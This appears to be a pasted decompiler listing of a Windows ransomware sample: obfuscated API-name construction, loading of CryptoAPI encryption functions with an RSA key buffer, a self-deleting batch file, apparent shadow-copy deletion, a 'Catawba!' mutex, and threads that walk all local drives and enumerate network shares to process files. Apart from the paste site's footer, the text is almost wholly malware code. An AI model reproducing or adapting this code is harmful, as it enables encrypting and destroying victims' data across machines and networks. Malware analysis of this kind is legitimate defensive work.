  1467.   LibFileName[35] = 32;
  1468.   LibFileName[36] = 13;
  1469.   LibFileName[37] = 10;
  1470.   LibFileName[38] = 100;
  1471.   LibFileName[39] = 101;
  1472.   LibFileName[40] = 108;
  1473.   LibFileName[41] = 32;
  1474.   LibFileName[42] = 47;
  1475.   LibFileName[43] = 102;
  1476.   LibFileName[44] = 32;
  1477.   LibFileName[45] = 47;
  1478.   LibFileName[46] = 113;
  1479.   LibFileName[47] = 32;
  1480.   LibFileName[48] = 37;
  1481.   LibFileName[49] = 48;
  1482.   LibFileName[50] = 0;
  1483.   WriteFile(hObject, LibFileName, 0x32u, (LPDWORD)&v8, 0);
  1484.   CloseHandle(hObject);
  1485.   return ShellExecute(0, 0, &v1, 0, 0, 0);
  1486. }
  1487. // 4023E3: using guessed type _DWORD __stdcall sub_4023E3(_DWORD, _DWORD);
  1488. // 411004: using guessed type int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
  1489.  
  1490. //----- (0040253D) --------------------------------------------------------
  1491. DWORD __cdecl sub_40253D()
  1492. {
  1493.   DWORD v0; // eax@1
  1494.   DWORD v1; // eax@1
  1495.   DWORD v2; // eax@1
  1496.   DWORD v3; // eax@1
  1497.   DWORD v4; // eax@1
  1498.   DWORD result; // eax@1
  1499.  
  1500.   v0 = TlsAlloc();
  1501.   JUMPOUT(v0, 65535, loc_403369);
  1502.   dwTlsIndex = v0;
  1503.   v1 = TlsAlloc();
  1504.   JUMPOUT(v1, 65535, loc_403369);
  1505.   dword_405384 = v1;
  1506.   v2 = TlsAlloc();
  1507.   JUMPOUT(v2, 65535, loc_403369);
  1508.   dword_405388 = v2;
  1509.   v3 = TlsAlloc();
  1510.   JUMPOUT(v3, 65535, loc_403369);
  1511.   dword_40538C = v3;
  1512.   v4 = TlsAlloc();
  1513.   JUMPOUT(v4, 65535, loc_403369);
  1514.   dword_405390 = v4;
  1515.   result = TlsAlloc();
  1516.   JUMPOUT(result, 65535, loc_403369);
  1517.   dword_405394 = result;
  1518.   return result;
  1519. }
  1520. // 403369: using guessed type int loc_403369();
  1521.  
  1522. //----- (004025BC) --------------------------------------------------------
  1523. BOOL __cdecl sub_4025BC()
  1524. {
  1525.   TlsFree(dwTlsIndex);
  1526.   TlsFree(dword_405384);
  1527.   TlsFree(dword_405388);
  1528.   TlsFree(dword_40538C);
  1529.   TlsFree(dword_405390);
  1530.   return TlsFree(dword_405394);
  1531. }
  1532.  
  1533. //----- (004025FF) --------------------------------------------------------
  1534. DWORD __stdcall sub_4025FF(const CHAR *a1)
  1535. {
  1536.   DWORD result; // eax@1
  1537.  
  1538.   result = GetFileAttributesA(a1);
  1539.   if ( result != -1 )
  1540.   {
  1541.     if ( result & 1 )
  1542.       result = SetFileAttributesA(a1, result & 0xFFFFFFFE);
  1543.   }
  1544.   return result;
  1545. }
  1546.  
  1547. //----- (0040262E) --------------------------------------------------------
  1548. BOOL __cdecl sub_40262E()
  1549. {
  1550.   CHAR String1; // [sp+0h] [bp-104h]@1
  1551.   HANDLE hObject; // [sp+100h] [bp-4h]@1
  1552.  
  1553.   GetWindowsDirectoryA(&String1, 256);
  1554.   PathAddBackslashA(&String1);
  1555.   lstrcatA(&String1, "explorer.exe");
  1556.   hObject = CreateFileA(&String1, 0x80000000u, 1u, 0, 3u, 0, 0);
  1557.   GetFileTime((LPCSTR)hObject);
  1558.   return CloseHandle(hObject);
  1559. }
  1560. // 41107C: using guessed type int (__stdcall *GetWindowsDirectoryA)(_DWORD, _DWORD);
  1561.  
  1562. //----- (004026A7) --------------------------------------------------------
  1563. signed int __cdecl sub_4026A7()
  1564. {
  1565.   HMODULE v0; // eax@1
  1566.   FARPROC ShellExecuteA; // eax@2
  1567.   FARPROC v2; // eax@3
  1568.   HMODULE v3; // eax@4
  1569.   FARPROC v4; // eax@5
  1570.   FARPROC v5; // eax@6
  1571.   FARPROC v6; // eax@7
  1572.   FARPROC v7; // eax@8
  1573.   HMODULE AdvapiLib; // eax@9
  1574.   FARPROC CryptSetKeyParam; // eax@10
  1575.   FARPROC v10; // eax@11
  1576.   FARPROC v11; // eax@12
  1577.   FARPROC v12; // eax@13
  1578.   FARPROC v13; // eax@14
  1579.   FARPROC v14; // eax@15
  1580.   FARPROC v15; // eax@16
  1581.   FARPROC v16; // eax@17
  1582.   HMODULE kernel32Lib; // eax@18
  1583.   FARPROC v18; // eax@19
  1584.   FARPROC v19; // eax@20
  1585.   FARPROC v20; // eax@21
  1586.   FARPROC v21; // eax@22
  1587.   FARPROC v22; // eax@23
  1588.   FARPROC v23; // eax@24
  1589.   FARPROC v24; // eax@25
  1590.   FARPROC v25; // eax@26
  1591.   FARPROC v26; // eax@27
  1592.   FARPROC v27; // eax@28
  1593.   FARPROC v28; // eax@29
  1594.   FARPROC v29; // eax@30
  1595.   FARPROC v30; // eax@31
  1596.   FARPROC v31; // eax@32
  1597.   FARPROC v32; // eax@33
  1598.   FARPROC v33; // eax@34
  1599.   FARPROC v34; // eax@35
  1600.   FARPROC v35; // eax@36
  1601.   FARPROC v36; // eax@37
  1602.   FARPROC v37; // eax@38
  1603.   FARPROC v38; // eax@39
  1604.   FARPROC v39; // eax@40
  1605.   FARPROC v40; // eax@41
  1606.   FARPROC v41; // eax@42
  1607.   FARPROC v42; // eax@43
  1608.   FARPROC v43; // eax@44
  1609.   int (*v44)(void); // eax@45
  1610.   FARPROC v45; // eax@46
  1611.   FARPROC v46; // eax@47
  1612.   FARPROC v47; // eax@48
  1613.   HMODULE netapi32Lib; // eax@49
  1614.   FARPROC v49; // eax@50
  1615.   FARPROC v50; // eax@51
  1616.   HMODULE MPRlib; // eax@52
  1617.   FARPROC v52; // eax@53
  1618.   FARPROC v53; // eax@54
  1619.   FARPROC v54; // eax@55
  1620.   signed int result; // eax@56
  1621.  
  1622.   LibFileName[0] = 115;
  1623.   LibFileName[1] = 104;
  1624.   LibFileName[2] = 101;
  1625.   LibFileName[3] = 108;
  1626.   LibFileName[4] = 108;
  1627.   LibFileName[5] = 51;
  1628.   LibFileName[6] = 50;
  1629.   LibFileName[7] = 46;
  1630.   LibFileName[8] = 100;
  1631.   LibFileName[9] = 108;
  1632.   LibFileName[10] = 108;
  1633.   LibFileName[11] = 0;
  1634.   LibFileName[12] = 0;
  1635.   v0 = LoadLibraryA(LibFileName);
  1636.   if ( v0
  1637.     && (hModule = v0,
  1638.         LibFileName[0] = 83,
  1639.         LibFileName[1] = 104,
  1640.         LibFileName[2] = 101,
  1641.         LibFileName[3] = 108,
  1642.         LibFileName[4] = 108,
  1643.         LibFileName[5] = 69,
  1644.         LibFileName[6] = 120,
  1645.         LibFileName[7] = 101,
  1646.         LibFileName[8] = 99,
  1647.         LibFileName[9] = 117,
  1648.         LibFileName[10] = 116,
  1649.         LibFileName[11] = 101,
  1650.         LibFileName[12] = 65,
  1651.         LibFileName[13] = 0,
  1652.         LibFileName[14] = 0,
  1653.         (ShellExecuteA = GetProcAddress(hModule, LibFileName)) != 0)
  1654.     && (ShellExecute = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))ShellExecuteA,
  1655.         LibFileName[0] = 83,
  1656.         LibFileName[1] = 72,
  1657.         LibFileName[2] = 71,
  1658.         LibFileName[3] = 101,
  1659.         LibFileName[4] = 116,
  1660.         LibFileName[5] = 83,
  1661.         LibFileName[6] = 112,
  1662.         LibFileName[7] = 101,
  1663.         LibFileName[8] = 99,
  1664.         LibFileName[9] = 105,
  1665.         LibFileName[10] = 97,
  1666.         LibFileName[11] = 108,
  1667.         LibFileName[12] = 70,
  1668.         LibFileName[13] = 111,
  1669.         LibFileName[14] = 108,
  1670.         LibFileName[15] = 100,
  1671.         LibFileName[16] = 101,
  1672.         LibFileName[17] = 114,
  1673.         LibFileName[18] = 80,
  1674.         LibFileName[19] = 97,
  1675.         LibFileName[20] = 116,
  1676.         LibFileName[21] = 104,
  1677.         LibFileName[22] = 65,
  1678.         LibFileName[23] = 0,
  1679.         LibFileName[24] = 0,
  1680.         (v2 = GetProcAddress(hModule, LibFileName)) != 0)
  1681.     && (*(_DWORD *)SHGetSpecialFolderPathA = v2,
  1682.         LibFileName[0] = 115,
  1683.         LibFileName[1] = 104,
  1684.         LibFileName[2] = 108,
  1685.         LibFileName[3] = 119,
  1686.         LibFileName[4] = 97,
  1687.         LibFileName[5] = 112,
  1688.         LibFileName[6] = 105,
  1689.         LibFileName[7] = 46,
  1690.         LibFileName[8] = 100,
  1691.         LibFileName[9] = 108,
  1692.         LibFileName[10] = 108,
  1693.         LibFileName[11] = 0,
  1694.         LibFileName[12] = 0,
  1695.         (v3 = LoadLibraryA(LibFileName)) != 0)
  1696.     && (shlwapiDLL = v3,
  1697.         LibFileName[0] = 80,
  1698.         LibFileName[1] = 97,
  1699.         LibFileName[2] = 116,
  1700.         LibFileName[3] = 104,
  1701.         LibFileName[4] = 70,
  1702.         LibFileName[5] = 105,
  1703.         LibFileName[6] = 110,
  1704.         LibFileName[7] = 100,
  1705.         LibFileName[8] = 70,
  1706.         LibFileName[9] = 105,
  1707.         LibFileName[10] = 108,
  1708.         LibFileName[11] = 101,
  1709.         LibFileName[12] = 78,
  1710.         LibFileName[13] = 97,
  1711.         LibFileName[14] = 109,
  1712.         LibFileName[15] = 101,
  1713.         LibFileName[16] = 65,
  1714.         LibFileName[17] = 0,
  1715.         LibFileName[18] = 0,
  1716.         (v4 = GetProcAddress(shlwapiDLL, LibFileName)) != 0)
  1717.     && (*(_DWORD *)PathFindFileNameA = v4,
  1718.         LibFileName[0] = 80,
  1719.         LibFileName[1] = 97,
  1720.         LibFileName[2] = 116,
  1721.         LibFileName[3] = 104,
  1722.         LibFileName[4] = 77,
  1723.         LibFileName[5] = 97,
  1724.         LibFileName[6] = 116,
  1725.         LibFileName[7] = 99,
  1726.         LibFileName[8] = 104,
  1727.         LibFileName[9] = 83,
  1728.         LibFileName[10] = 112,
  1729.         LibFileName[11] = 101,
  1730.         LibFileName[12] = 99,
  1731.         LibFileName[13] = 65,
  1732.         LibFileName[14] = 0,
  1733.         LibFileName[15] = 0,
  1734.         (v5 = GetProcAddress(shlwapiDLL, LibFileName)) != 0)
  1735.     && (*(_DWORD *)PathMatchSpecA = v5,
  1736.         LibFileName[0] = 80,
  1737.         LibFileName[1] = 97,
  1738.         LibFileName[2] = 116,
  1739.         LibFileName[3] = 104,
  1740.         LibFileName[4] = 65,
  1741.         LibFileName[5] = 100,
  1742.         LibFileName[6] = 100,
  1743.         LibFileName[7] = 66,
  1744.         LibFileName[8] = 97,
  1745.         LibFileName[9] = 99,
  1746.         LibFileName[10] = 107,
  1747.         LibFileName[11] = 115,
  1748.         LibFileName[12] = 108,
  1749.         LibFileName[13] = 97,
  1750.         LibFileName[14] = 115,
  1751.         LibFileName[15] = 104,
  1752.         LibFileName[16] = 65,
  1753.         LibFileName[17] = 0,
  1754.         LibFileName[18] = 0,
  1755.         (v6 = GetProcAddress(shlwapiDLL, LibFileName)) != 0)
  1756.     && (*(_DWORD *)PathAddBackslashA = v6,
  1757.         LibFileName[0] = 80,
  1758.         LibFileName[1] = 97,
  1759.         LibFileName[2] = 116,
  1760.         LibFileName[3] = 104,
  1761.         LibFileName[4] = 70,
  1762.         LibFileName[5] = 105,
  1763.         LibFileName[6] = 110,
  1764.         LibFileName[7] = 100,
  1765.         LibFileName[8] = 69,
  1766.         LibFileName[9] = 120,
  1767.         LibFileName[10] = 116,
  1768.         LibFileName[11] = 101,
  1769.         LibFileName[12] = 110,
  1770.         LibFileName[13] = 115,
  1771.         LibFileName[14] = 105,
  1772.         LibFileName[15] = 111,
  1773.         LibFileName[16] = 110,
  1774.         LibFileName[17] = 65,
  1775.         LibFileName[18] = 0,
  1776.         LibFileName[19] = 0,
  1777.         (v7 = GetProcAddress(shlwapiDLL, LibFileName)) != 0)
  1778.     && (PathFindExtensionA = (int (__stdcall *)(_DWORD))v7, (AdvapiLib = LoadLibraryA("advapi32.dll")) != 0)
  1779.     && (AdvapiLibDword = AdvapiLib, (CryptSetKeyParam = GetProcAddress(AdvapiLib, "CryptSetKeyParam")) != 0)
  1780.     && (*(_DWORD *)::CryptSetKeyParam = CryptSetKeyParam,
  1781.         (v10 = GetProcAddress(AdvapiLibDword, "CryptReleaseContext")) != 0)
  1782.     && (*(_DWORD *)CryptReleaseContext = v10, (v11 = GetProcAddress(AdvapiLibDword, "CryptImportKey")) != 0)
  1783.     && (*(_DWORD *)CryptImportKey = v11, (v12 = GetProcAddress(AdvapiLibDword, "CryptGenKey")) != 0)
  1784.     && (*(_DWORD *)CryptGenKey = v12, (v13 = GetProcAddress(AdvapiLibDword, "CryptEncrypt")) != 0)
  1785.     && (*(_DWORD *)CryptEncrypt = v13, (v14 = GetProcAddress(AdvapiLibDword, "CryptDestroyKey")) != 0)
  1786.     && (*(_DWORD *)CryptDestroyKey = v14, (v15 = GetProcAddress(AdvapiLibDword, "CryptAcquireContextA")) != 0)
  1787.     && (*(_DWORD *)CryptAcquireContextA = v15, (v16 = GetProcAddress(AdvapiLibDword, "CryptExportKey")) != 0)
  1788.     && (*(_DWORD *)CryptExportKey = v16, (kernel32Lib = LoadLibraryA("kernel32.dll")) != 0)
  1789.     && (kernel32dll = kernel32Lib, (v18 = GetProcAddress(kernel32Lib, "CreateThread")) != 0)
  1790.     && (CreateThread = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v18,
  1791.         (v19 = GetProcAddress(kernel32dll, "CreateFileA")) != 0)
  1792.     && (*(_DWORD *)CreateFileA = v19, (v20 = GetProcAddress(kernel32dll, "FindClose")) != 0)
  1793.     && (*(_DWORD *)FindClose = v20, (v21 = GetProcAddress(kernel32dll, "FindFirstFileA")) != 0)
  1794.     && (*(_DWORD *)FindFirstFileA = v21, (v22 = GetProcAddress(kernel32dll, "FindNextFileA")) != 0)
  1795.     && (*(_DWORD *)FindNextFileA = v22, (v23 = GetProcAddress(kernel32dll, "GetDiskFreeSpaceExA")) != 0)
  1796.     && (*(_DWORD *)GetDiskFreeSpaceExA = v23, (v24 = GetProcAddress(kernel32dll, "WideCharToMultiByte")) != 0)
  1797.     && (*(_DWORD *)WideCharToMultiByte = v24, (v25 = GetProcAddress(kernel32dll, "FindResourceA")) != 0)
  1798.     && (FindResourceA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))v25,
  1799.         (v26 = GetProcAddress(kernel32dll, "FreeResource")) != 0)
  1800.     && (FreeResource = (int (__stdcall *)(_DWORD))v26, (v27 = GetProcAddress(kernel32dll, "LoadResource")) != 0)
  1801.     && (LoadResource = (int (__stdcall *)(_DWORD, _DWORD))v27, (v28 = GetProcAddress(kernel32dll, "SizeofResource")) != 0)
  1802.     && (SizeofResource = (int (__stdcall *)(_DWORD, _DWORD))v28, (v29 = GetProcAddress(kernel32dll, "LockResource")) != 0)
  1803.     && (LockResource = (int (__stdcall *)(_DWORD))v29, (v30 = GetProcAddress(kernel32dll, "GetWindowsDirectoryA")) != 0)
  1804.     && (GetWindowsDirectoryA = (int (__stdcall *)(_DWORD, _DWORD))v30,
  1805.         (v31 = GetProcAddress(kernel32dll, "GetTempPathA")) != 0)
  1806.     && (*(_DWORD *)GetTempPathA = v31, (v32 = GetProcAddress(kernel32dll, "MoveFileA")) != 0)
  1807.     && (*(_DWORD *)MoveFileA = v32, (v33 = GetProcAddress(kernel32dll, "SetErrorMode")) != 0)
  1808.     && (SetErrorMode = (int (__stdcall *)(_DWORD))v33, (v34 = GetProcAddress(kernel32dll, "SetFileAttributesA")) != 0)
  1809.     && (*(_DWORD *)SetFileAttributesA = v34, (v35 = GetProcAddress(kernel32dll, "GetFileAttributesA")) != 0)
  1810.     && (*(_DWORD *)GetFileAttributesA = v35, (v36 = GetProcAddress(kernel32dll, "GetFileSizeEx")) != 0)
  1811.     && (*(_DWORD *)GetFileSizeEx = v36, (v37 = GetProcAddress(kernel32dll, "GetFileTime")) != 0)
  1812.     && (*(_DWORD *)GetFileTime = v37, (v38 = GetProcAddress(kernel32dll, "GetDriveTypeA")) != 0)
  1813.     && (*(_DWORD *)GetDriveTypeA = v38, (v39 = GetProcAddress(kernel32dll, "WriteFile")) != 0)
  1814.     && (*(_DWORD *)WriteFile = v39, (v40 = GetProcAddress(kernel32dll, "SetFileTime")) != 0)
  1815.     && (*(_DWORD *)SetFileTime = v40, (v41 = GetProcAddress(kernel32dll, "OpenMutexA")) != 0)
  1816.     && (OpenMutexA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))v41,
  1817.         (v42 = GetProcAddress(kernel32dll, "CreateMutexA")) != 0)
  1818.     && (CreateMutexA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))v42,
  1819.         (v43 = GetProcAddress(kernel32dll, "GetComputerNameA")) != 0)
  1820.     && (GetComputerNameA = (int (__fastcall *)(_DWORD, _DWORD, _DWORD, _DWORD))v43,
  1821.         (v44 = GetProcAddress(kernel32dll, "GetLogicalDrives")) != 0)
  1822.     && (GetLogicalDrives = v44, (v45 = GetProcAddress(kernel32dll, "MultiByteToWideChar")) != 0)
  1823.     && (*(_DWORD *)MultiByteToWideChar = v45, (v46 = GetProcAddress(kernel32dll, "ReadFile")) != 0)
  1824.     && (*(_DWORD *)ReadFile = v46, (v47 = GetProcAddress(kernel32dll, "WaitForSingleObject")) != 0)
  1825.     && (WaitForSingleObject = (int (__thiscall *)(_DWORD, _DWORD, _DWORD))v47,
  1826.         (netapi32Lib = LoadLibraryA("netapi32.dll")) != 0)
  1827.     && (netapi32Dll = netapi32Lib, (v49 = GetProcAddress(netapi32Lib, "NetShareEnum")) != 0)
  1828.     && (*(_DWORD *)NetShareEnum = v49, (v50 = GetProcAddress(netapi32Dll, "NetApiBufferFree")) != 0)
  1829.     && (*(_DWORD *)NetApiBufferFree = v50, (MPRlib = LoadLibraryA("mpr.dll")) != 0)
  1830.     && (MPRDll = MPRlib, (v52 = GetProcAddress(MPRlib, "WNetOpenEnumA")) != 0)
  1831.     && (*(_DWORD *)WNetOpenEnumA = v52, (v53 = GetProcAddress(MPRDll, "WNetEnumResourceA")) != 0)
  1832.     && (*(_DWORD *)WNetEnumResourceA = v53, (v54 = GetProcAddress(MPRDll, "WNetCloseEnum")) != 0) )
  1833.   {
  1834.     *(_DWORD *)WNetCloseEnum = v54;
  1835.     result = 0;
  1836.   }
  1837.   else
  1838.   {
  1839.     result = 1;
  1840.   }
  1841.   return result;
  1842. }
  1843. // 411004: using guessed type int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
  1844. // 41101C: using guessed type int (__stdcall *PathFindExtensionA)(_DWORD);
  1845. // 411048: using guessed type int (__fastcall *GetComputerNameA)(_DWORD, _DWORD, _DWORD, _DWORD);
  1846. // 41104C: using guessed type int (__stdcall *CreateThread)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
  1847. // 411068: using guessed type int (__stdcall *FindResourceA)(_DWORD, _DWORD, _DWORD);
  1848. // 41106C: using guessed type int (__stdcall *FreeResource)(_DWORD);
  1849. // 411070: using guessed type int (__stdcall *LoadResource)(_DWORD, _DWORD);
  1850. // 411074: using guessed type int (__stdcall *SizeofResource)(_DWORD, _DWORD);
  1851. // 411078: using guessed type int (__stdcall *LockResource)(_DWORD);
  1852. // 41107C: using guessed type int (__stdcall *GetWindowsDirectoryA)(_DWORD, _DWORD);
  1853. // 411088: using guessed type int (__stdcall *SetErrorMode)(_DWORD);
  1854. // 4110A8: using guessed type int (__stdcall *OpenMutexA)(_DWORD, _DWORD, _DWORD);
  1855. // 4110AC: using guessed type int (__stdcall *CreateMutexA)(_DWORD, _DWORD, _DWORD);
  1856. // 4110B0: using guessed type int (*GetLogicalDrives)(void);
  1857. // 4110BC: using guessed type int (__thiscall *WaitForSingleObject)(_DWORD, _DWORD, _DWORD);
  1858.  
  1859. //----- (00402EC3) --------------------------------------------------------
  1860. DWORD __stdcall sub_402EC3(DWORD lpString2)
  1861. {
  1862.   DWORD result; // eax@1
  1863.   int v2; // ecx@3
  1864.   int v3; // ecx@4
  1865.   CHAR *v4; // ST24_4@7
  1866.   int v5; // ecx@7
  1867.   int v6; // [sp-4h] [bp-814h]@4
  1868.   const CHAR String2; // [sp+4h] [bp-80Ch]@6
  1869.   int v8; // [sp+408h] [bp-408h]@2
  1870.   void *v9; // [sp+40Ch] [bp-404h]@4
  1871.   char v10; // [sp+410h] [bp-400h]@1
  1872.  
  1873.   MultiByteToWideChar(0, 0, lpString2, (LPDWORD)0xFFFFFFFF, (LPOVERLAPPED)&v10);
  1874.   result = NetShareEnum(&v10);
  1875.   if ( !result )
  1876.   {
  1877.     if ( v8 )
  1878.     {
  1879.       v2 = v8;
  1880.       do
  1881.       {
  1882.         v6 = v2;
  1883.         v3 = (int)((char *)v9 + 12 * (v2 - 1));
  1884.         if ( !*(_DWORD *)(v3 + 4) || *(_DWORD *)(v3 + 4) == -2147483648 )
  1885.         {
  1886.           WideCharToMultiByte(0, 0, *(LPCWSTR *)v3, -1, (LPSTR)&String2, 1024, 0, 0);
  1887.           if ( lstrcmpiA("ADMIN$", &String2) )
  1888.           {
  1889.             v4 = (CHAR *)HeapAlloc(hHeap, 8u, 0x1000u);
  1890.             lstrcpyA(v4, (LPCSTR)lpString2);
  1891.             PathAddBackslashA(v4);
  1892.             lstrcatA(v4, &String2);
  1893.             PathAddBackslashA(v4);
  1894.             v5 = 8 * dword_406AC8 + 4221648;
  1895.             dword_406AD0[2 * dword_406AC8] = v4;
  1896.             dword_406ACC[2 * dword_406AC8++] = CreateThread(0, 0, sub_401798, v5, 0, 0);
  1897.           }
  1898.         }
  1899.         v2 = v6 - 1;
  1900.       }
  1901.       while ( v6 != 1 );
  1902.     }
  1903.     result = NetApiBufferFree(v9);
  1904.   }
  1905.   return result;
  1906. }
  1907. // 406ACC: using guessed type int dword_406ACC[];
  1908. // 41104C: using guessed type int (__stdcall *CreateThread)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
  1909.  
  1910. //----- (00403026) --------------------------------------------------------
  1911. DWORD __stdcall sub_403026(struct _NETRESOURCEA *a1)
  1912. {
  1913.   DWORD result; // eax@1
  1914.   DWORD v2; // eax@3
  1915.   int v3; // ecx@5
  1916.   const CHAR *v4; // eax@8
  1917.   int v5; // [sp-4h] [bp-34h]@6
  1918.   char v6; // [sp+0h] [bp-30h]@6
  1919.   int v7; // [sp+8h] [bp-28h]@6
  1920.   LPCSTR lpString2; // [sp+14h] [bp-1Ch]@7
  1921.   LPVOID lpMem; // [sp+20h] [bp-10h]@2
  1922.   int v10; // [sp+24h] [bp-Ch]@2
  1923.   int v11; // [sp+28h] [bp-8h]@2
  1924.   void *v12; // [sp+2Ch] [bp-4h]@1
  1925.  
  1926.   result = WNetOpenEnumA(2u, 0, 2u, a1, &v12);
  1927.   if ( !result )
  1928.   {
  1929.     v11 = -1;
  1930.     lpMem = HeapAlloc(hHeap, 8u, 0x10000u);
  1931.     v10 = 65536;
  1932.     while ( 1 )
  1933.     {
  1934.       v2 = WNetEnumResourceA(v12, (LPDWORD)&v11, lpMem, (LPDWORD)&v10);
  1935.       if ( !v12 )
  1936.         break;
  1937.       if ( v2 == 259 )
  1938.         break;
  1939.       v3 = v11;
  1940.       do
  1941.       {
  1942.         RtlMoveMemory(&v6, (char *)lpMem + 32 * (v3 - 1), 32, v3);
  1943.         if ( v7 == 2 )
  1944.         {
  1945.           if ( lstrlenA(lpString2) )
  1946.           {
  1947.             v4 = PathFindFileNameA(lpString2);
  1948.             if ( lstrcmpiA(byte_40EB2C, v4) )
  1949.               sub_402EC3((DWORD)lpString2);
  1950.           }
  1951.         }
  1952.         else
  1953.         {
  1954.           sub_403026(&v6);
  1955.         }
  1956.         v3 = v5 - 1;
  1957.       }
  1958.       while ( v5 != 1 );
  1959.     }
  1960.     HeapFree(hHeap, 0, lpMem);
  1961.     result = WNetCloseEnum(v12);
  1962.   }
  1963.   return result;
  1964. }
  1965. // 4033D6: using guessed type int __stdcall RtlMoveMemory(_DWORD, _DWORD, _DWORD, _DWORD);
  1966.  
  1967. //----- (0040310F) --------------------------------------------------------
  1968. void __cdecl start()
  1969. {
  1970.   const CHAR *v0; // ebx@7
  1971.   int v1; // eax@7
  1972.   int v2; // edx@7
  1973.   signed int v3; // ecx@7
  1974.   int v4; // ST18_4@9
  1975.   int v5; // ST1C_4@9
  1976.   signed int v6; // ST20_4@9
  1977.   LPVOID v7; // eax@9
  1978.   int v8; // ecx@9
  1979.   unsigned __int8 v9; // of@10
  1980.   int v10; // edx@11
  1981.   int v11; // ecx@11
  1982.   int v12; // esi@11
  1983.   int v13; // ST1C_4@12
  1984.   int v14; // ST20_4@12
  1985.  
  1986.   if ( sub_4026A7() != 1 )
  1987.   {
  1988.     dword_40EAEB = 0;
  1989.     hHeap = GetProcessHeap();
  1990.     sub_40253D();
  1991.     GetModuleFileNameA(0, Filename, 0x500u);
  1992.     if ( sub_401569() )
  1993.     {
  1994.       LibFileName[0] = 67;
  1995.       LibFileName[1] = 97;
  1996.       LibFileName[2] = 116;
  1997.       LibFileName[3] = 97;
  1998.       LibFileName[4] = 119;
  1999.       LibFileName[5] = 98;
  2000.       LibFileName[6] = 97;
  2001.       LibFileName[7] = 33;
  2002.       LibFileName[8] = 0;
  2003.       LibFileName[9] = 0;
  2004.       if ( !OpenMutexA(2031617, 0, LibFileName) )// Catawba! Is the mutex used
  2005.       {
  2006.         CreateMutexA(0, 0, LibFileName);
  2007.         if ( byte_40EAE9 )
  2008.           CreateVSSbatch();
  2009.         if ( sub_401C80() )
  2010.         {
  2011.           sub_4022E0();
  2012.           sub_40262E();
  2013.           sub_4010EA();
  2014.           dword_40EC2C = sub_4023B5(RSA_KEY_BUFFER, dword_40EB0C);
  2015.           lstrcpyA(byte_410DCC, "*");
  2016.           lstrcatA(byte_410DCC, ".");
  2017.           lstrcatA(byte_410DCC, lpString2);
  2018.           GetWindowsDirectoryA(byte_4058A8, 256);
  2019.           v0 = (const CHAR *)PathFindExtensionA(dword_40EAF8);
  2020.           lstrcpyA(byte_405AA8, v0);
  2021.           lstrcpynA(byte_4059A8, dword_40EAF8, v0 - dword_40EAF8 + 1);
  2022.           lstrcpyA(byte_410EE4, "*");
  2023.           lstrcatA(byte_410EE4, byte_4059A8);
  2024.           lstrcatA(byte_410EE4, "*");
  2025.           lstrcatA(byte_410EE4, byte_405AA8);
  2026.           SetErrorMode(1);
  2027.           v1 = GetLogicalDrives();
  2028.           v3 = 25;
  2029.           do
  2030.           {
  2031.             if ( v1 & (1 << v3) )
  2032.             {
  2033.               dword_40EAE4 = v3;
  2034.               v6 = v3;
  2035.               v5 = v2;
  2036.               v4 = v1;
  2037.               v7 = HeapAlloc(hHeap, 8u, 0x1000u);
  2038.               v8 = 8 * dword_406AC8 + 4221648;
  2039.               dword_406AD0[2 * dword_406AC8] = v7;
  2040.               *(_BYTE *)v7 = dword_40EAE4 + 65;
  2041.               *((_BYTE *)v7 + 1) = 58;
  2042.               *((_BYTE *)v7 + 2) = 92;
  2043.               dword_406ACC[2 * dword_406AC8++] = CreateThread(0, 0, sub_401798, v8, 0, 0);
  2044.               v1 = v4;
  2045.               v2 = v5;
  2046.               v3 = v6;
  2047.             }
  2048.             v9 = __OFSUB__(v3--, 1);
  2049.           }
  2050.           while ( !(v3 < 0 ^ v9) );
  2051.           dword_40EB28 = 256;
  2052.           GetComputerNameA(v3, v2, byte_40EB2C, &dword_40EB28);
  2053.           sub_403026(0);
  2054.           v11 = dword_406AC8;
  2055.           v12 = (int)dword_406ACC;
  2056.           do
  2057.           {
  2058.             v14 = v11;
  2059.             v13 = v10;
  2060.             WaitForSingleObject(v11, *(_DWORD *)v12, -1);
  2061.             v10 = v13;
  2062.             v12 += 8;
  2063.             v11 = v14 - 1;
  2064.           }
  2065.           while ( v14 != 1 );
  2066.           sub_401329();
  2067.         }
  2068.       }
  2069.     }
  2070.   }
  2071.   sub_401D34();
  2072.   sub_4025BC();
  2073.   sub_401000();
  2074.   ExitProcess(0);
  2075. }
  2076. // 4023B5: using guessed type _DWORD __stdcall sub_4023B5(_DWORD, _DWORD);
  2077. // 406ACC: using guessed type int dword_406ACC[];
  2078. // 40EAE4: using guessed type int dword_40EAE4;
  2079. // 40EAE9: using guessed type char byte_40EAE9;
  2080. // 40EAEB: using guessed type int dword_40EAEB;
  2081. // 40EB10: using guessed type int RSA_KEY_BUFFER;
  2082. // 40EB28: using guessed type int dword_40EB28;
  2083. // 40EC2C: using guessed type int dword_40EC2C;
  2084. // 41101C: using guessed type int (__stdcall *PathFindExtensionA)(_DWORD);
  2085. // 411048: using guessed type int (__fastcall *GetComputerNameA)(_DWORD, _DWORD, _DWORD, _DWORD);
  2086. // 41104C: using guessed type int (__stdcall *CreateThread)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
  2087. // 41107C: using guessed type int (__stdcall *GetWindowsDirectoryA)(_DWORD, _DWORD);
  2088. // 411088: using guessed type int (__stdcall *SetErrorMode)(_DWORD);
  2089. // 4110A8: using guessed type int (__stdcall *OpenMutexA)(_DWORD, _DWORD, _DWORD);
  2090. // 4110AC: using guessed type int (__stdcall *CreateMutexA)(_DWORD, _DWORD, _DWORD);
  2091. // 4110B0: using guessed type int (*GetLogicalDrives)(void);
  2092. // 4110BC: using guessed type int (__thiscall *WaitForSingleObject)(_DWORD, _DWORD, _DWORD);
  2093.  
  2094. // ALL OK, 32 function(s) have been successfully decompiled
Advertisement
Add Comment
Please, Sign In to add comment